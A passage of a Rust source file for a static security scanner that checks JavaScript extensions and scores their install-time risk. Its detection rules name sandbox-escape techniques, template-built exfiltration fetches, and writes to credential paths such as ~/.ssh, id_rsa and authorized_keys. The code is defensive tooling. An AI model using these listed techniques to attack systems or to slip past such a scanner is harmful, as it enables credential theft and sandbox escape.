1237 rulebook_version: SECURITY_RULEBOOK_VERSION.to_string(),
1238 }
1239 }
1240
1241 pub fn to_json(&self) -> Result<String, serde_json::Error> {
1247 serde_json::to_string_pretty(self)
1248 }
1249
1250 #[must_use]
1252 pub const fn should_block(&self) -> bool {
1253 matches!(self.overall_tier, RiskTier::Critical)
1254 }
1255
1256 #[must_use]
1258 pub const fn needs_review(&self) -> bool {
1259 matches!(self.overall_tier, RiskTier::Critical | RiskTier::High)
1260 }
1261}
1262
1263pub const SECURITY_EVIDENCE_LEDGER_SCHEMA: &str = "pi.ext.security_evidence_ledger.v1";
1269
1270#[derive(Debug, Clone, Serialize, Deserialize)]
1273pub struct SecurityEvidenceLedgerEntry {
1274 pub schema: String,
1275 pub entry_index: usize,
1277 pub extension_id: String,
1279 pub rule_id: SecurityRuleId,
1281 pub risk_tier: RiskTier,
1283 pub rationale: String,
1285 #[serde(default, skip_serializing_if = "Option::is_none")]
1287 pub file: Option<String>,
1288 #[serde(default, skip_serializing_if = "Option::is_none")]
1290 pub line: Option<usize>,
1291 #[serde(default, skip_serializing_if = "Option::is_none")]
1293 pub column: Option<usize>,
1294 pub rulebook_version: String,
1296}
1297
1298impl SecurityEvidenceLedgerEntry {
1299 #[must_use]
1301 pub fn from_finding(entry_index: usize, extension_id: &str, finding: &SecurityFinding) -> Self {
1302 Self {
1303 schema: SECURITY_EVIDENCE_LEDGER_SCHEMA.to_string(),
1304 entry_index,
1305 extension_id: extension_id.to_string(),
1306 rule_id: finding.rule_id,
1307 risk_tier: finding.risk_tier,
1308 rationale: finding.rationale.clone(),
1309 file: finding.file.clone(),
1310 line: finding.line,
1311 column: finding.column,
1312 rulebook_version: SECURITY_RULEBOOK_VERSION.to_string(),
1313 }
1314 }
1315}
1316
1317pub fn security_evidence_ledger_jsonl(
1323 report: &SecurityScanReport,
1324) -> Result<String, serde_json::Error> {
1325 let mut out = String::new();
1326 for (i, finding) in report.findings.iter().enumerate() {
1327 let entry = SecurityEvidenceLedgerEntry::from_finding(i, &report.extension_id, finding);
1328 if i > 0 {
1329 out.push('\n');
1330 }
1331 out.push_str(&serde_json::to_string(&entry)?);
1332 }
1333 Ok(out)
1334}
1335
1336pub struct SecurityScanner;
1343
1344impl SecurityScanner {
1345 const fn scan_input_failure_finding(
1346 file: Option<String>,
1347 rationale: String,
1348 ) -> SecurityFinding {
1349 SecurityFinding {
1350 rule_id: SecurityRuleId::ScanInputFailure,
1351 risk_tier: SecurityRuleId::ScanInputFailure.default_tier(),
1352 rationale,
1353 file,
1354 line: None,
1355 column: None,
1356 snippet: None,
1357 }
1358 }
1359
1360 #[must_use]
1362 pub fn scan_source(extension_id: &str, source: &str) -> SecurityScanReport {
1363 let mut findings = Vec::new();
1364
1365 for (idx, line) in source.lines().enumerate() {
1366 let line_no = idx + 1;
1367 let trimmed = line.trim();
1368
1369 if trimmed.is_empty()
1371 || trimmed.starts_with("//")
1372 || trimmed.starts_with('*')
1373 || trimmed.starts_with("/*")
1374 {
1375 continue;
1376 }
1377
1378 Self::scan_line(trimmed, line_no, &mut findings);
1379 }
1380
1381 SecurityScanReport::from_findings(extension_id.to_string(), findings)
1382 }
1383
1384 pub fn scan_path(extension_id: &str, path: &Path, root: &Path) -> SecurityScanReport {
1386 if !path.exists() {
1387 return SecurityScanReport::from_findings(
1388 extension_id.to_string(),
1389 vec![Self::scan_input_failure_finding(
1390 Some(path.display().to_string()),
1391 format!(
1392 "Extension path does not exist, so the security scan could not inspect any source: {}",
1393 path.display()
1394 ),
1395 )],
1396 );
1397 }
1398
1399 let files = match collect_scannable_files(path) {
1400 Ok(files) => files,
1401 Err(err) => {
1402 return SecurityScanReport::from_findings(
1403 extension_id.to_string(),
1404 vec![Self::scan_input_failure_finding(
1405 Some(path.display().to_string()),
1406 format!(
1407 "Failed to enumerate extension source at {}: {err}",
1408 path.display()
1409 ),
1410 )],
1411 );
1412 }
1413 };
1414 let mut findings = Vec::new();
1415
1416 for file_path in &files {
1417 let rel = relative_posix_path(root, file_path);
1418 let content = match std::fs::read_to_string(file_path) {
1419 Ok(content) => content,
1420 Err(err) => {
1421 findings.push(Self::scan_input_failure_finding(
1422 Some(rel),
1423 format!(
1424 "Failed to read extension source at {}: {err}",
1425 file_path.display()
1426 ),
1427 ));
1428 continue;
1429 }
1430 };
1431 let mut in_block_comment = false;
1432
1433 for (idx, raw_line) in content.lines().enumerate() {
1434 let line_no = idx + 1;
1435
1436 let line = strip_block_comment_tracking(raw_line, &mut in_block_comment);
1438 let trimmed = line.trim();
1439
1440 if trimmed.is_empty() || trimmed.starts_with("//") || trimmed.starts_with('*') {
1441 continue;
1442 }
1443
1444 Self::scan_line_with_file(trimmed, line_no, &rel, &mut findings);
1445 }
1446 }
1447
1448 SecurityScanReport::from_findings(extension_id.to_string(), findings)
1449 }
1450
1451 fn scan_line(text: &str, line_no: usize, findings: &mut Vec<SecurityFinding>) {
1452 Self::scan_line_with_file(text, line_no, "", findings);
1453 }
1454
1455 #[allow(clippy::too_many_lines)]
1456 fn scan_line_with_file(
1457 text: &str,
1458 line_no: usize,
1459 file: &str,
1460 findings: &mut Vec<SecurityFinding>,
1461 ) {
1462 let file_opt = if file.is_empty() {
1463 None
1464 } else {
1465 Some(file.to_string())
1466 };
1467
1468 if contains_eval_call(text) {
1472 findings.push(SecurityFinding {
1473 rule_id: SecurityRuleId::EvalUsage,
1474 risk_tier: RiskTier::Critical,
1475 rationale: "eval() enables arbitrary code execution at runtime".to_string(),
1476 file: file_opt.clone(),
1477 line: Some(line_no),
1478 column: text.find("eval(").map(|c| c + 1),
1479 snippet: Some(truncate_snippet(text)),
1480 });
1481 }
1482
1483 if text.contains("new Function") && !text.contains("new Function()") {
1485 findings.push(SecurityFinding {
1486 rule_id: SecurityRuleId::NewFunctionUsage,
1487 risk_tier: RiskTier::Critical,
1488 rationale: "new Function() creates code from strings, enabling injection"
1489 .to_string(),
1490 file: file_opt.clone(),
1491 line: Some(line_no),
1492 column: text.find("new Function").map(|c| c + 1),
1493 snippet: Some(truncate_snippet(text)),
1494 });
1495 }
1496
1497 if text.contains("process.binding") {
1499 findings.push(SecurityFinding {
1500 rule_id: SecurityRuleId::ProcessBinding,
1501 risk_tier: RiskTier::Critical,
1502 rationale: "process.binding() accesses internal Node.js C++ bindings".to_string(),
1503 file: file_opt.clone(),
1504 line: Some(line_no),
1505 column: text.find("process.binding").map(|c| c + 1),
1506 snippet: Some(truncate_snippet(text)),
1507 });
1508 }
1509
1510 if text.contains("process.dlopen") {
1512 findings.push(SecurityFinding {
1513 rule_id: SecurityRuleId::ProcessDlopen,
1514 risk_tier: RiskTier::Critical,
1515 rationale: "process.dlopen() loads native addons, bypassing sandbox".to_string(),
1516 file: file_opt.clone(),
1517 line: Some(line_no),
1518 column: text.find("process.dlopen").map(|c| c + 1),
1519 snippet: Some(truncate_snippet(text)),
1520 });
1521 }
1522
1523 if text.contains("__proto__") || text.contains("Object.setPrototypeOf") {
1525 findings.push(SecurityFinding {
1526 rule_id: SecurityRuleId::ProtoPollution,
1527 risk_tier: RiskTier::Critical,
1528 rationale: "Prototype manipulation can pollute shared object chains".to_string(),
1529 file: file_opt.clone(),
1530 line: Some(line_no),
1531 column: text
1532 .find("__proto__")
1533 .or_else(|| text.find("Object.setPrototypeOf"))
1534 .map(|c| c + 1),
1535 snippet: Some(truncate_snippet(text)),
1536 });
1537 }
1538
1539 if text.contains("require.cache") {
1541 findings.push(SecurityFinding {
1542 rule_id: SecurityRuleId::RequireCacheManip,
1543 risk_tier: RiskTier::Critical,
1544 rationale: "require.cache manipulation can hijack module resolution".to_string(),
1545 file: file_opt.clone(),
1546 line: Some(line_no),
1547 column: text.find("require.cache").map(|c| c + 1),
1548 snippet: Some(truncate_snippet(text)),
1549 });
1550 }
1551
1552 if contains_hardcoded_secret(text) {
1556 findings.push(SecurityFinding {
1557 rule_id: SecurityRuleId::HardcodedSecret,
1558 risk_tier: RiskTier::High,
1559 rationale: "Potential hardcoded secret or API key detected".to_string(),
1560 file: file_opt.clone(),
1561 line: Some(line_no),
1562 column: None,
1563 snippet: Some(truncate_snippet(text)),
1564 });
1565 }
1566
1567 if contains_dynamic_import(text) {
1569 findings.push(SecurityFinding {
1570 rule_id: SecurityRuleId::DynamicImport,
1571 risk_tier: RiskTier::High,
1572 rationale: "Dynamic import() can load arbitrary modules at runtime".to_string(),
1573 file: file_opt.clone(),
1574 line: Some(line_no),
1575 column: text.find("import(").map(|c| c + 1),
1576 snippet: Some(truncate_snippet(text)),
1577 });
1578 }
1579
1580 if text.contains("Object.defineProperty")
1582 && (text.contains("globalThis")
1583 || text.contains("global.")
1584 || text.contains("prototype"))
1585 {
1586 findings.push(SecurityFinding {
1587 rule_id: SecurityRuleId::DefinePropertyAbuse,
1588 risk_tier: RiskTier::High,
1589 rationale: "Object.defineProperty on global/prototype can intercept operations"
1590 .to_string(),
1591 file: file_opt.clone(),
1592 line: Some(line_no),
1593 column: text.find("Object.defineProperty").map(|c| c + 1),
1594 snippet: Some(truncate_snippet(text)),
1595 });
1596 }
1597
1598 if contains_exfiltration_pattern(text) {
1600 findings.push(SecurityFinding {
1601 rule_id: SecurityRuleId::NetworkExfiltration,
1602 risk_tier: RiskTier::High,
1603 rationale: "Potential data exfiltration via constructed network request"
1604 .to_string(),
1605 file: file_opt.clone(),
1606 line: Some(line_no),
1607 column: None,
1608 snippet: Some(truncate_snippet(text)),
1609 });
1610 }
1611
1612 if contains_sensitive_path_write(text) {
1614 findings.push(SecurityFinding {
1615 rule_id: SecurityRuleId::SensitivePathWrite,
1616 risk_tier: RiskTier::High,
1617 rationale: "Write to security-sensitive filesystem path detected".to_string(),
1618 file: file_opt.clone(),
1619 line: Some(line_no),
1620 column: None,
1621 snippet: Some(truncate_snippet(text)),
1622 });
1623 }
1624
1625 if text.contains("process.env") {
1629 findings.push(SecurityFinding {
1630 rule_id: SecurityRuleId::ProcessEnvAccess,
1631 risk_tier: RiskTier::Medium,
1632 rationale: "process.env access may expose secrets or configuration".to_string(),
1633 file: file_opt.clone(),
1634 line: Some(line_no),
1635 column: text.find("process.env").map(|c| c + 1),
1636 snippet: Some(truncate_snippet(text)),
1637 });
1638 }
1639
1640 if contains_timer_abuse(text) {
1642 findings.push(SecurityFinding {
1643 rule_id: SecurityRuleId::TimerAbuse,
1644 risk_tier: RiskTier::Medium,
1645 rationale: "Very short timer interval may indicate resource abuse".to_string(),
1646 file: file_opt.clone(),
1647 line: Some(line_no),
1648 column: None,
1649 snippet: Some(truncate_snippet(text)),
1650 });
1651 }
1652
1653 if text.contains("new Proxy") || text.contains("Reflect.") {
1655 findings.push(SecurityFinding {
1656 rule_id: SecurityRuleId::ProxyReflect,
1657 risk_tier: RiskTier::Medium,
1658 rationale: "Proxy/Reflect can intercept and modify object operations transparently"
1659 .to_string(),
1660 file: file_opt.clone(),
1661 line: Some(line_no),
1662 column: text
1663 .find("new Proxy")
1664 .or_else(|| text.find("Reflect."))
1665 .map(|c| c + 1),
1666 snippet: Some(truncate_snippet(text)),
1667 });
1668 }
1669
1670 if contains_with_statement(text) {
1672 findings.push(SecurityFinding {
1673 rule_id: SecurityRuleId::WithStatement,
1674 risk_tier: RiskTier::Medium,
1675 rationale:
1676 "with statement modifies scope chain, making variable resolution unpredictable"
1677 .to_string(),
1678 file: file_opt.clone(),
1679 line: Some(line_no),
1680 column: text.find("with").map(|c| c + 1),
1681 snippet: Some(truncate_snippet(text)),
1682 });
1683 }
1684
1685 if text.contains("debugger") && is_debugger_statement(text) {
1689 findings.push(SecurityFinding {
1690 rule_id: SecurityRuleId::DebuggerStatement,
1691 risk_tier: RiskTier::Low,
1692 rationale: "debugger statement left in production code".to_string(),
1693 file: file_opt.clone(),
1694 line: Some(line_no),
1695 column: text.find("debugger").map(|c| c + 1),
1696 snippet: Some(truncate_snippet(text)),
1697 });
1698 }
1699
1700 if contains_console_info_leak(text) {
1702 findings.push(SecurityFinding {
1703 rule_id: SecurityRuleId::ConsoleInfoLeak,
1704 risk_tier: RiskTier::Low,
1705 rationale: "Console output may leak sensitive information".to_string(),
1706 file: file_opt.clone(),
1707 line: Some(line_no),
1708 column: text.find("console.").map(|c| c + 1),
1709 snippet: Some(truncate_snippet(text)),
1710 });
1711 }
1712
1713 if contains_child_process_spawn(text) {
1719 findings.push(SecurityFinding {
1720 rule_id: SecurityRuleId::ChildProcessSpawn,
1721 risk_tier: RiskTier::Critical,
1722 rationale: "child_process command execution enables arbitrary system commands"
1723 .to_string(),
1724 file: file_opt.clone(),
1725 line: Some(line_no),
1726 column: find_child_process_column(text),
1727 snippet: Some(truncate_snippet(text)),
1728 });
1729 }
1730
1731 if text.contains("constructor.constructor") || text.contains("constructor[\"constructor\"]")
1733 {
1734 findings.push(SecurityFinding {
1735 rule_id: SecurityRuleId::ConstructorEscape,
1736 risk_tier: RiskTier::Critical,
1737 rationale:
1738 "constructor.constructor() can escape sandbox by accessing Function constructor"
1739 .to_string(),
1740 file: file_opt.clone(),
1741 line: Some(line_no),
1742 column: text
1743 .find("constructor.constructor")
1744 .or_else(|| text.find("constructor[\"constructor\"]"))
1745 .map(|c| c + 1),
1746 snippet: Some(truncate_snippet(text)),
1747 });
1748 }
1749
1750 if contains_native_module_require(text) {
1752 findings.push(SecurityFinding {
1753 rule_id: SecurityRuleId::NativeModuleRequire,
1754 risk_tier: RiskTier::Critical,
1755 rationale: "Requiring native addon (.node/.so/.dylib) bypasses JS sandbox"
1756 .to_string(),
1757 file: file_opt.clone(),
1758 line: Some(line_no),
1759 column: text.find("require(").map(|c| c + 1),
1760 snippet: Some(truncate_snippet(text)),
1761 });
1762 }
1763
1764 if contains_global_mutation(text) {
1768 findings.push(SecurityFinding {
1769 rule_id: SecurityRuleId::GlobalMutation,
1770 risk_tier: RiskTier::High,
1771 rationale: "Mutating globalThis/global properties can escape sandbox scope"
1772 .to_string(),
1773 file: file_opt.clone(),
1774 line: Some(line_no),
1775 column: text
1776 .find("globalThis.")
1777 .or_else(|| text.find("global."))
1778 .or_else(|| text.find("globalThis["))
1779 .map(|c| c + 1),
1780 snippet: Some(truncate_snippet(text)),
1781 });
1782 }
1783
1784 if contains_symlink_creation(text) {
1786 findings.push(SecurityFinding {
1787 rule_id: SecurityRuleId::SymlinkCreation,
1788 risk_tier: RiskTier::High,
1789 rationale: "Symlink/link creation can enable path traversal attacks".to_string(),
1790 file: file_opt.clone(),
1791 line: Some(line_no),
1792 column: text
1793 .find("symlink")
1794 .or_else(|| text.find("link"))
1795 .map(|c| c + 1),
1796 snippet: Some(truncate_snippet(text)),
1797 });
1798 }
1799
1800 if contains_permission_change(text) {
1802 findings.push(SecurityFinding {
1803 rule_id: SecurityRuleId::PermissionChange,
1804 risk_tier: RiskTier::High,
1805 rationale: "Changing file permissions can enable privilege escalation".to_string(),
1806 file: file_opt.clone(),
1807 line: Some(line_no),
1808 column: text
1809 .find("chmod")
1810 .or_else(|| text.find("chown"))
1811 .map(|c| c + 1),
1812 snippet: Some(truncate_snippet(text)),
1813 });
1814 }
1815
1816 if contains_socket_listener(text) {
1818 findings.push(SecurityFinding {
1819 rule_id: SecurityRuleId::SocketListener,
1820 risk_tier: RiskTier::High,
1821 rationale: "Creating network listeners opens unauthorized server ports".to_string(),
1822 file: file_opt.clone(),
1823 line: Some(line_no),
1824 column: text
1825 .find("createServer")
1826 .or_else(|| text.find("createSocket"))
1827 .map(|c| c + 1),
1828 snippet: Some(truncate_snippet(text)),
1829 });
1830 }
1831
1832 if text.contains("WebAssembly.") {
1834 findings.push(SecurityFinding {
1835 rule_id: SecurityRuleId::WebAssemblyUsage,
1836 risk_tier: RiskTier::High,
1837 rationale: "WebAssembly can execute native code, bypassing JS sandbox controls"
1838 .to_string(),
1839 file: file_opt.clone(),
1840 line: Some(line_no),
1841 column: text.find("WebAssembly.").map(|c| c + 1),
1842 snippet: Some(truncate_snippet(text)),
1843 });
1844 }
1845
1846 if text.contains("arguments.callee") || text.contains("arguments.caller") {
1850 findings.push(SecurityFinding {
1851 rule_id: SecurityRuleId::ArgumentsCallerAccess,
1852 risk_tier: RiskTier::Medium,
1853 rationale:
1854 "arguments.callee/caller enables stack introspection and caller chain walking"
1855 .to_string(),
1856 file: file_opt,
1857 line: Some(line_no),
1858 column: text
1859 .find("arguments.callee")
1860 .or_else(|| text.find("arguments.caller"))
1861 .map(|c| c + 1),
1862 snippet: Some(truncate_snippet(text)),
1863 });
1864 }
1865 }
1866}
1867
1868const fn is_js_ident_continue(byte: u8) -> bool {
1873 byte.is_ascii_alphanumeric() || matches!(byte, b'_' | b'$')
1874}
1875
1876fn contains_eval_call(text: &str) -> bool {
1878 let mut search = text;
1879 while let Some(pos) = search.find("eval(") {
1880 if pos == 0
1883 || (!is_js_ident_continue(search.as_bytes()[pos - 1])
1884 && search.as_bytes()[pos - 1] != b'.')
1885 {
1886 return true;
1887 }
1888 search = &search[pos + 5..];
1889 }
1890 false
1891}
1892
1893fn contains_dynamic_import(text: &str) -> bool {
1895 let trimmed = text.trim();
1896 if trimmed.starts_with("import ") || trimmed.starts_with("import{") {
1898 return false;
1899 }
1900 text.contains("import(")
1901}
1902
1903fn contains_hardcoded_secret(text: &str) -> bool {
1905 let lower = text.to_ascii_lowercase();
1906 let secret_keywords = [
1908 "api_key",
1909 "apikey",
1910 "api-key",
1911 "secret_key",
1912 "secretkey",
1913 "secret-key",
1914 "password",
1915 "passwd",
1916 "access_token",
1917 "accesstoken",
1918 "private_key",
1919 "privatekey",
1920 "auth_token",
1921 "authtoken",
1922 ];
1923
1924 for kw in &secret_keywords {
1925 if let Some(kw_pos) = lower.find(kw) {
1926 let rest = &text[kw_pos + kw.len()..];
1928 let rest_trimmed = rest.trim_start();
1929 if (rest_trimmed.starts_with("=\"")
1930 || rest_trimmed.starts_with("= \"")
1931 || rest_trimmed.starts_with("='")
1932 || rest_trimmed.starts_with("= '")
1933 || rest_trimmed.starts_with(": \"")
1934 || rest_trimmed.starts_with(":\"")
1935 || rest_trimmed.starts_with(": '")
1936 || rest_trimmed.starts_with(":'"))
1937 && !lower[..kw_pos].ends_with("process.env.")
1939 && !lower[..kw_pos].ends_with("env.")
1940 && !rest_trimmed.starts_with("=\"\"")
1942 && !rest_trimmed.starts_with("= \"\"")
1943 && !rest_trimmed.starts_with("=''")
1944 && !rest_trimmed.starts_with("= ''")
1945 {
1946 return true;
1947 }
1948 }
1949 }
1950
1951 let token_prefixes = ["sk-ant-", "sk-", "ghp_", "gho_", "glpat-", "xoxb-", "xoxp-"];
1953 for pfx in &token_prefixes {
1954 if text.contains(&format!("\"{pfx}")) || text.contains(&format!("'{pfx}")) {
1955 return true;
1956 }
1957 }
1958
1959 false
1960}
1961
1962fn contains_exfiltration_pattern(text: &str) -> bool {
1965 let has_network_call = text.contains("fetch(") || text.contains("XMLHttpRequest");
1966 if !has_network_call {
1967 return false;
1968 }
1969 text.contains("fetch(`") || text.contains("fetch(\"http\" +") || text.contains("fetch(url")
1971}
1972
1973fn contains_sensitive_path_write(text: &str) -> bool {
1975 let has_write = text.contains("writeFileSync")
1976 || text.contains("writeFile(")
1977 || text.contains("fs.write")
1978 || text.contains("appendFileSync")
1979 || text.contains("appendFile(");
1980 if !has_write {
1981 return false;
1982 }
1983 let sensitive_paths = [
1984 "/etc/",
1985 "/root/",
1986 "~/.ssh",
1987 "~/.bashrc",
1988 "~/.profile",
1989 "~/.zshrc",
1990 "/usr/",
1991 "/var/",
1992 ".env",
1993 "id_rsa",
1994 "authorized_keys",
1995 ];
1996 sensitive_paths.iter().any(|p| text.contains(p))
1997}
1998
1999fn contains_timer_abuse(text: &str) -> bool {
2001 if !text.contains("setInterval") {
2002 return false;
2003 }
2004 if let Some(pos) = text.rfind(", ") {
2006 let rest = text[pos + 2..]
2007 .trim_end_matches(';')
2008 .trim_end_matches(')')
2009 .trim();
2010 if let Ok(ms) = rest.parse::<u64>() {
2011 return ms < 10;
2012 }
2013 }
2014 false
2015}
2016
2017fn contains_with_statement(text: &str) -> bool {
2019 let trimmed = text.trim();
2020 if trimmed.starts_with("with (") || trimmed.starts_with("with(") {
2022 return true;
2023 }
2024 if let Some(pos) = text.find("with") {
2026 if pos > 0 {
2027 let before = text[..pos].trim_end();
2028 let after = text[pos + 4..].trim_start();
2029 if (before.ends_with('{') || before.ends_with('}') || before.ends_with(';'))
2030 && after.starts_with('(')
2031 {
2032 return true;
2033 }
2034 }
2035 }
2036 false
2037}
2038
2039fn is_debugger_statement(text: &str) -> bool {
2041 let trimmed = text.trim();
2042 trimmed == "debugger;" || trimmed == "debugger" || trimmed.starts_with("debugger;")
2043}
2044
2045fn contains_console_info_leak(text: &str) -> bool {
2047 if !text.contains("console.error") && !text.contains("console.warn") {
2049 return false;
2050 }
2051 text.contains("console.error(") || text.contains("console.warn(")
2053}
2054
2055fn contains_child_process_spawn(text: &str) -> bool {
2060 let spawn_patterns = [
2061 "exec(",
2062 "execSync(",
2063 "spawn(",
2064 "spawnSync(",
2065 "execFile(",
2066 "execFileSync(",
2067 "fork(",
2068 ];
2069 let has_cp_context =
2071 text.contains("child_process") || text.contains("cp.") || text.contains("childProcess");
2072
2073 if has_cp_context {
2074 return spawn_patterns.iter().any(|p| text.contains(p));
2075 }
2076
2077 false
2081}
2082
2083fn find_child_process_column(text: &str) -> Option<usize> {
2085 for pattern in &[
2086 "execSync(",
2087 "execFileSync(",
2088 "spawnSync(",
2089 "execFile(",
2090 "spawn(",
2091 "exec(",
2092 "fork(",
2093 ] {
2094 if let Some(pos) = text.find(pattern) {
2095 return Some(pos + 1);
2096 }
2097 }
2098 None
2099}
2100
2101fn contains_global_mutation(text: &str) -> bool {
2103 let assignment_patterns = ["globalThis.", "global.", "globalThis["];
2105
2106 for pat in &assignment_patterns {
2107 for (pos, _) in text.match_indices(pat) {
2108 let after = &text[pos + pat.len()..];
2109 if let Some(eq_pos) = after.find('=') {
2111 let before_eq = &after[..eq_pos];
2112 let after_eq = &after[eq_pos..];
2113 if !after_eq.starts_with("==")
2115 && !before_eq.contains('(')
2116 && !before_eq.contains(')')
2117 {
2118 return true;
2119 }
2120 }
2121 }
2122 }
2123 false
2124}
2125
2126fn contains_symlink_creation(text: &str) -> bool {
2128 text.contains("fs.symlink(")
2129 || text.contains("fs.symlinkSync(")
2130 || text.contains("fs.link(")
2131 || text.contains("fs.linkSync(")
2132 || text.contains("symlinkSync(")
2133 || text.contains("linkSync(")
2134}
2135
2136fn contains_permission_change(text: &str) -> bool {
2138 text.contains("fs.chmod(")
2139 || text.contains("fs.chmodSync(")
2140 || text.contains("fs.chown(")
2141 || text.contains("fs.chownSync(")
2142 || text.contains("fs.lchmod(")
2143 || text.contains("fs.lchown(")
2144 || text.contains("chmodSync(")
2145 || text.contains("chownSync(")
2146}
2147
2148fn contains_socket_listener(text: &str) -> bool {
2150 text.contains("createServer(")
2151 || text.contains("createSocket(")
2152 || text.contains(".listen(")
2153 && (text.contains("server") || text.contains("http") || text.contains("net"))
2154}
2155
2156fn contains_native_module_require(text: &str) -> bool {
2158 if !text.contains("require(") {
2159 return false;
2160 }
2161 let native_exts = [".node\"", ".node'", ".so\"", ".so'", ".dylib\"", ".dylib'"];
2162 native_exts.iter().any(|ext| text.contains(ext))
2163}
2164
2165fn truncate_snippet(text: &str) -> String {
2167 const MAX_SNIPPET_LEN: usize = 200;
2168 if text.len() <= MAX_SNIPPET_LEN {
2169 text.to_string()
2170 } else {
2171 let mut end = 0;
2172 for (i, c) in text.char_indices() {
2173 if i >= MAX_SNIPPET_LEN {
2174 break;
2175 }
2176 end = i + c.len_utf8();
2177 }
2178 if end < text.len() {
2179 format!("{}...", &text[..end])
2180 } else {
2181 text.to_string()
2182 }
2183 }
2184}
2185
2186fn collect_scannable_files(path: &Path) -> std::io::Result<Vec<std::path::PathBuf>> {
2188 if path.is_file() {
2189 return Ok(vec![path.to_path_buf()]);
2190 }
2191 let mut files = Vec::new();
2192 for entry in std::fs::read_dir(path)? {
2193 let entry = entry?;
2194 let p = entry.path();
2195 if p.is_dir() {
2196 let name = p.file_name().and_then(|n| n.to_str()).unwrap_or("");
2198 if name == "node_modules" || name.starts_with('.') {
2199 continue;
2200 }
2201 files.extend(collect_scannable_files(&p)?);
2202 } else if p.is_file() {
2203 if let Some(ext) = p.extension().and_then(|e| e.to_str()) {
2204 if matches!(
2205 ext,
2206 "js" | "ts" | "mjs" | "mts" | "cjs" | "cts" | "jsx" | "tsx"
2207 ) {
2208 files.push(p);
2209 }
2210 }
2211 }
2212 }
2213 files.sort();
2214 Ok(files)
2215}
2216
2217fn relative_posix_path(root: &Path, path: &Path) -> String {
2219 let relative = path.strip_prefix(root).unwrap_or(path);
2220 if relative.as_os_str().is_empty() {
2221 return path.file_name().and_then(|name| name.to_str()).map_or_else(
2222 || path.to_string_lossy().replace('\\', "/"),
2223 ToString::to_string,
2224 );
2225 }
2226 relative.to_string_lossy().replace('\\', "/")
2227}
2228
2229fn strip_block_comment_tracking(line: &str, in_block: &mut bool) -> String {
2233 let mut result = String::with_capacity(line.len());
2234 let mut chars = line.chars().peekable();
2235
2236 while let Some(c) = chars.next() {
2237 if *in_block {
2238 if c == '*' && chars.peek() == Some(&'/') {
2239 chars.next(); *in_block = false;
2241 }
2242 } else if c == '/' && chars.peek() == Some(&'*') {
2243 chars.next(); *in_block = true;
2245 } else if c == '/' && chars.peek() == Some(&'/') {
2246 break;
2248 } else {
2249 result.push(c);
2250 }
2251 }
2252
2253 result
2254}
2255
2256pub const INSTALL_TIME_RISK_SCHEMA: &str = "pi.ext.install_risk.v1";
2262
2263#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash, Serialize, Deserialize)]
2265#[serde(rename_all = "snake_case")]
2266pub enum InstallRecommendation {
2267 Allow,
2269 Review,
2271 Block,
2273}
2274
2275impl fmt::Display for InstallRecommendation {
2276 fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
2277 match self {
2278 Self::Allow => f.write_str("ALLOW"),
2279 Self::Review => f.write_str("REVIEW"),
2280 Self::Block => f.write_str("BLOCK"),
2281 }
2282 }
2283}
2284
2285#[derive(Debug, Clone, Serialize, Deserialize)]
2293pub struct InstallTimeRiskReport {
2294 pub schema: String,
2296 pub extension_id: String,
2298 pub composite_risk_tier: RiskTier,
2300 pub composite_risk_score: u8,
2302 pub recommendation: InstallRecommendation,
2304 pub verdict: String,
2306 pub preflight_summary: PreflightSummaryBrief,
2308 pub security_summary: SecuritySummaryBrief,
2310 pub rulebook_version: String,
2312}
2313
2314#[derive(Debug, Clone, Serialize, Deserialize)]
2316pub struct PreflightSummaryBrief {
2317 pub verdict: PreflightVerdict,
2318 pub confidence: u8,
2319 pub errors: usize,
2320 pub warnings: usize,
2321}
2322
2323#[derive(Debug, Clone, Serialize, Deserialize)]
2325pub struct SecuritySummaryBrief {
2326 pub overall_tier: RiskTier,
2327 pub critical: usize,
2328 pub high: usize,
2329 pub medium: usize,
2330 pub low: usize,
2331 pub total_findings: usize,
2332}
2333
2334impl InstallTimeRiskReport {
2335 #[must_use]
2343 pub fn classify(
2344 extension_id: &str,
2345 preflight: &PreflightReport,
2346 security: &SecurityScanReport,
2347 ) -> Self {
2348 let preflight_summary = PreflightSummaryBrief {
2349 verdict: preflight.verdict,
2350 confidence: preflight.confidence.value(),
2351 errors: preflight.summary.errors,
2352 warnings: preflight.summary.warnings,
2353 };
2354
2355 let security_summary = SecuritySummaryBrief {
2356 overall_tier: security.overall_tier,
2357 critical: security.tier_counts.critical,
2358 high: security.tier_counts.high,
2359 medium: security.tier_counts.medium,
2360 low: security.tier_counts.low,
2361 total_findings: security.findings.len(),
2362 };
2363
2364 let preflight_risk = match preflight.verdict {
2367 PreflightVerdict::Fail => RiskTier::High,
2368 PreflightVerdict::Warn => RiskTier::Medium,
2369 PreflightVerdict::Pass => RiskTier::Low,
2370 };
2371 let composite_risk_tier = preflight_risk.min(security.overall_tier);
2372
2373 let security_deduction = security
2376 .tier_counts
2377 .critical
2378 .saturating_mul(30)
2379 .saturating_add(security.tier_counts.high.saturating_mul(20))
2380 .saturating_add(security.tier_counts.medium.saturating_mul(10))
2381 .saturating_add(security.tier_counts.low.saturating_mul(3));
2382 let preflight_deduction = preflight
2383 .summary
2384 .errors
2385 .saturating_mul(15)
2386 .saturating_add(preflight.summary.warnings.saturating_mul(5));
2387 let total_deduction = security_deduction.saturating_add(preflight_deduction);
2388 let composite_risk_score =
2389 u8::try_from(100_usize.saturating_sub(total_deduction).min(100)).unwrap_or(0);
2390
2391 let recommendation = match composite_risk_tier {
2393 RiskTier::Critical => InstallRecommendation::Block,
2394 RiskTier::High => InstallRecommendation::Review,
2395 RiskTier::Medium => {
2396 if composite_risk_score < 50 {
2397 InstallRecommendation::Review
2398 } else {
2399 InstallRecommendation::Allow
2400 }
2401 }
2402 RiskTier::Low => InstallRecommendation::Allow,
2403 };
2404
2405 let verdict = Self::format_verdict(
2406 recommendation,
2407 &preflight_summary,
2408 &security_summary,
2409 composite_risk_score,
2410 );
2411
2412 Self {
2413 schema: INSTALL_TIME_RISK_SCHEMA.to_string(),
2414 extension_id: extension_id.to_string(),
2415 composite_risk_tier,
2416 composite_risk_score,
2417 recommendation,
2418 verdict,
2419 preflight_summary,
2420 security_summary,
2421 rulebook_version: SECURITY_RULEBOOK_VERSION.to_string(),
2422 }
2423 }
2424
2425 fn format_verdict(
2426 recommendation: InstallRecommendation,
2427 preflight: &PreflightSummaryBrief,
2428 security: &SecuritySummaryBrief,
2429 score: u8,
2430 ) -> String {
2431 let sec_part = if security.total_findings == 0 {
2432 "no security findings".to_string()
2433 } else {
2434 let mut parts = Vec::new();
2435 if security.critical > 0 {
